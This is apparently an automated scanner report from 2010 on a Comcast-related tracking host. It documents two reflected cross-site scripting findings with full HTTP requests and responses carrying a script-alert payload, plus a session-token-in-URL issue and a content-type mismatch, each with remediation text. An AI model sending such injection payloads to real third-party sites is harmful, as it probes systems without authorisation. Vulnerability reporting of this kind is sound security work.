Report generated by XSS.CX at Fri Nov 12 07:37:47 EST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

Loading

1.1. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [REST URL parameter 1]

1.2. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [mbox parameter]

2. Session token in URL

3. Content type incorrectly stated


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://comcastresidentialservices.tt.omtrdc.net
Path:   /m2/comcastresidentialservices/mbox/standard

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7bbb4<script>alert(1)</script>0dbcd40bb39 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m27bbb4<script>alert(1)</script>0dbcd40bb39/comcastresidentialservices/mbox/standard HTTP/1.1
Host: comcastresidentialservices.tt.omtrdc.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan Vuln Crawler http://cloudscan.me)
Connection: close

Response

HTTP/1.1 403 Permission Denied
Content-Length: 134
Date: Fri, 12 Nov 2010 02:48:32 GMT
Connection: close
Content-Type: text/plain

Access Denied to "/m27bbb4<script>alert(1)</script>0dbcd40bb39/comcastresidentialservices/mbox/standard". Please try a valid location.
1.2. http://comcastresidentialservices.tt.omtrdc.net/m2/comcastresidentialservices/mbox/standard [mbox parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://comcastresidentialservices.tt.omtrdc.net
Path:   /m2/comcastresidentialservices/mbox/standard

Issue detail

The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload e3fb3<script>alert(1)</script>757fd9d64dd was submitted in the mbox parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m2/comcastresidentialservices/mbox/standard?mboxHost=www.comcast.com&mboxSession=1289516960619-790386&mboxPage=1289516960619-790386&mboxCount=1&mbox=Homepage_Tope3fb3<script>alert(1)</script>757fd9d64dd&mboxId=0&mboxTime=1289498974387&mboxURL=http%3A%2F%2Fwww.comcast.com%2Fdefault.cspx&mboxReferrer=&mboxVersion=38 HTTP/1.1
Host: comcastresidentialservices.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.comcast.com/default.cspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 208
Date: Fri, 12 Nov 2010 03:14:58 GMT
Server: Test & Target

mboxFactories.get('default').get('Homepage_Tope3fb3<script>alert(1)</script>757fd9d64dd',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1289516960619-790386.15");
2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://comcastresidentialservices.tt.omtrdc.net
Path:   /m2/comcastresidentialservices/mbox/standard

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /m2/comcastresidentialservices/mbox/standard?mboxHost=www.comcast.com&mboxSession=1289516960619-790386&mboxPage=1289516960619-790386&mboxCount=1&mbox=Homepage_Top&mboxId=0&mboxTime=1289498974387&mboxURL=http%3A%2F%2Fwww.comcast.com%2Fdefault.cspx&mboxReferrer=&mboxVersion=38 HTTP/1.1
Host: comcastresidentialservices.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.comcast.com/default.cspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 167
Date: Fri, 12 Nov 2010 03:12:53 GMT
Server: Test & Target

mboxFactories.get('default').get('Homepage_Top',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1289516960619-790386.15");
3. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://comcastresidentialservices.tt.omtrdc.net
Path:   /m2/comcastresidentialservices/mbox/standard

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /m2/comcastresidentialservices/mbox/standard?mboxHost=www.comcast.com&mboxSession=1289516960619-790386&mboxPage=1289516960619-790386&mboxCount=1&mbox=Homepage_Top&mboxId=0&mboxTime=1289498974387&mboxURL=http%3A%2F%2Fwww.comcast.com%2Fdefault.cspx&mboxReferrer=&mboxVersion=38 HTTP/1.1
Host: comcastresidentialservices.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.comcast.com/default.cspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 167
Date: Fri, 12 Nov 2010 03:12:53 GMT
Server: Test & Target

mboxFactories.get('default').get('Homepage_Top',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1289516960619-790386.15");
Report generated by XSS.CX at Fri Nov 12 07:37:47 EST 2010.